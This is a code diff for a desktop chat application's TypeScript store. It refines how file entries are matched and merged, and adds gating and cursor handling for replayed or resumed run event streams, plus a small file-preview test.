function getFileInfoIdentities(file: FileInfo): string[] {
return [
file.relativePath,
file.path,
file.name,
getOutputFileNameFromPath(file.path || ''),
]
.filter(Boolean)
.map((value) => normalizeOutputPath(value as string).toLowerCase());
function normalizedFileIdentity(value: string | undefined): string {
if (!value) return '';
let identity = normalizeOutputPath(value);
const queryIndex = identity.indexOf('?');
if (queryIndex !== -1) {
try {
const remoteUrl = new URL(identity, 'http://eigent.local');
const streamedPath = remoteUrl.searchParams.get('path');
if (streamedPath) identity = normalizeOutputPath(streamedPath);
} catch {
// Keep the original value when it is not a valid URL-shaped path.
}
}
// Older Desktop builds accidentally prefixed POSIX sandbox paths with a
// synthetic `x:` drive. It is identity noise, not part of the real path.
return identity.replace(/^x:(?=\/)/i, '').toLowerCase();
}
function pathEndsWithRelativePath(
absoluteOrRemotePath: string,
relativePath: string
): boolean {
return (
absoluteOrRemotePath === relativePath ||
absoluteOrRemotePath.endsWith(`/${relativePath.replace(/^\/+/, '')}`)
);
}
function fileInfoMatches(left: FileInfo, right: FileInfo): boolean {
const leftPath = normalizedFileIdentity(left.path);
const rightPath = normalizedFileIdentity(right.path);
const leftRelative = normalizedFileIdentity(left.relativePath);
const rightRelative = normalizedFileIdentity(right.relativePath);
if (leftRelative && rightRelative && leftRelative === rightRelative) {
return true;
}
if (leftPath && rightPath && leftPath === rightPath) return true;
if (
leftRelative &&
rightPath &&
pathEndsWithRelativePath(rightPath, leftRelative)
) {
return true;
}
if (
rightRelative &&
leftPath &&
pathEndsWithRelativePath(leftPath, rightRelative)
) {
return true;
}
// Name-only rows are legacy data with no path identity. Use the basename
// only when neither side has enough path information to distinguish files.
if (!leftPath && !rightPath && !leftRelative && !rightRelative) {
return (
normalizedFileIdentity(left.name) === normalizedFileIdentity(right.name)
);
}
return false;
}
function isLegacySandboxDrivePath(
@ -1178,17 +1299,14 @@ export function mergeFileInfoLists(
extractedFileList: FileInfo[]
): FileInfo[] {
const merged = [...existingFileList];
const mergedIdentities = merged.map(getFileInfoIdentities);
extractedFileList.forEach((file) => {
const identities = getFileInfoIdentities(file);
const existingIndex = mergedIdentities.findIndex((existingIdentities) =>
identities.some((identity) => existingIdentities.includes(identity))
const existingIndex = merged.findIndex((existing) =>
fileInfoMatches(existing, file)
);
if (existingIndex === -1) {
merged.push(file);
mergedIdentities.push(identities);
return;
}
@ -1201,7 +1319,6 @@ export function mergeFileInfoLists(
...existingFile,
...file,
};
mergedIdentities[existingIndex] = identities;
return;
}
@ -1645,6 +1762,10 @@ const chatStore = (initial?: Partial<ChatStore>) =>
if (type === 'replay') {
setDelayTime(taskId, delayTime as number);
setType(taskId, type);
// A replay reconstructs persisted execution time from event
// timestamps. Never carry a stale live clock across an idle/restart
// interval or the END reducer will count that interval as work.
get().setTaskTime(taskId, 0);
}
//ProjectStore must exist as chatStore is already
@ -1843,12 +1964,13 @@ const chatStore = (initial?: Partial<ChatStore>) =>
const serverBaseUrl = import.meta.env.DEV
? window.location.origin
: import.meta.env.VITE_BASE_URL;
const canonicalReplayCursor = createCanonicalRunEventCursor();
const api =
type == 'share'
? `${serverBaseUrl}/api/v1/chat/share/playback/${shareToken}?delay_time=${delayTime}`
: type == 'replay'
? startOptions.replaySource === 'local_durable'
? `/runs/${encodeURIComponent(newTaskId)}/stream?after_sequence=0`
? `/runs/${encodeURIComponent(newTaskId)}/stream?after_sequence=${canonicalReplayCursor.lastSequence}`
: `${serverBaseUrl}/api/v1/chat/steps/playback/${newTaskId}?delay_time=${delayTime}`
: '/chat';
@ -2262,6 +2384,19 @@ const chatStore = (initial?: Partial<ChatStore>) =>
}
}
// Use the Run control API as the authoritative Resume admission gate.
// It returns real 404/409 errors for terminal, cancelled, cloud-restored,
// or unsafe-to-replay Runs. Only after all local model/workspace preflight
// has succeeded do we create the durable pending Attempt.
if (startOptions.resumeRequestId) {
try {
await admitDurableRunResume(newTaskId, startOptions.resumeRequestId);
} catch (error) {
finishStartupFailure();
throw error;
}
}
// Lock the chatStore reference at the start of SSE session to prevent focus changes
// during active message processing
let lockedChatStore = targetChatStore;
@ -2365,6 +2500,16 @@ const chatStore = (initial?: Partial<ChatStore>) =>
}
: undefined;
let resumeStreamOpened = false;
let resolveResumeStreamOpen: (() => void) | undefined;
let rejectResumeStreamOpen: ((error: unknown) => void) | undefined;
const resumeStreamOpenPromise = startOptions.resumeRequestId
? new Promise<void>((resolve, reject) => {
resolveResumeStreamOpen = resolve;
rejectResumeStreamOpen = reject;
})
: null;
const ssePromise = sseTransport({
url: api,
method: !type ? 'POST' : 'GET',
@ -2381,6 +2526,15 @@ const chatStore = (initial?: Partial<ChatStore>) =>
try {
const parsed = JSON.parse(event.data);
if (startOptions.replaySource === 'local_durable') {
if (
!acceptCanonicalRunEvent(
canonicalReplayCursor,
parsed,
event.id
)
) {
return;
}
// /runs/{id}/stream returns the canonical RunEvent envelope.
// The existing Desktop reducer remains legacy-shaped during
// migration, so typed-only/control events advance the stream
@ -4538,13 +4692,28 @@ const chatStore = (initial?: Partial<ChatStore>) =>
},
async onopen(respond) {
console.log('open', respond);
if (!respond.ok) {
const contentType = respond.headers.get('content-type') || '';
if (!respond.ok || !contentType.startsWith('text/event-stream')) {
let detail = `HTTP ${respond.status}`;
try {
const body = await respond.clone().json();
const bodyDetail = body?.detail ?? body?.message ?? body?.text;
if (typeof bodyDetail === 'string') detail = bodyDetail;
else if (bodyDetail) detail = JSON.stringify(bodyDetail);
} catch {
// Preserve the HTTP fallback for non-JSON error responses.
}
const error: any = new Error(
`Replay stream returned HTTP ${respond.status}`
contentType.startsWith('text/event-stream')
? `Run stream returned ${detail}`
: `Run admission did not return an event stream: ${detail}`
);
error.status = respond.status;
rejectResumeStreamOpen?.(error);
throw error;
}
resumeStreamOpened = true;
resolveResumeStreamOpen?.();
const { setAttaches, activeTaskId } = get();
setAttaches(activeTaskId as string, []);
return;
@ -4590,6 +4759,8 @@ const chatStore = (initial?: Partial<ChatStore>) =>
return;
}
if (!resumeStreamOpened) rejectResumeStreamOpen?.(err);
const currentTaskId = getCurrentTaskId();
// Update trigger execution status to Completed for connection closed by server
updateTriggerExecutionStatus(
@ -4659,6 +4830,30 @@ const chatStore = (initial?: Partial<ChatStore>) =>
}
},
});
if (resumeStreamOpenPromise) {
try {
await Promise.race([
resumeStreamOpenPromise,
ssePromise.then(() => {
if (!resumeStreamOpened) {
throw new Error(
'Run stream closed before Resume admission completed'
);
}
}),
]);
} catch (error) {
finishStartupFailure();
abortController.abort();
await ssePromise.catch(() => undefined);
throw error;
}
// The caller only waits for admission. Runtime streaming continues in
// the background and retains the existing reconnect behavior.
void ssePromise.catch((error) => {
console.error(`SSE stream failed for task ${newTaskId}:`, error);
});
}
if (type === 'replay') {
try {
await ssePromise;

View file

@ -55,4 +55,16 @@ describe('file preview policy', () => {
decideFilePreview('md', { size: FILE_PREVIEW_LIMITS.textBytes + 1 })
).toMatchObject({ mode: 'bounded-text' });
});
it('never fully decodes an unknown file in the renderer', () => {
expect(decideFilePreview('custom-data', { size: 20 })).toMatchObject({
mode: 'bounded-text',
limit: FILE_PREVIEW_LIMITS.textBytes,
});
expect(
decideFilePreview('custom-data', {
size: FILE_PREVIEW_LIMITS.defaultBytes,
})
).toMatchObject({ mode: 'bounded-text' });
});
});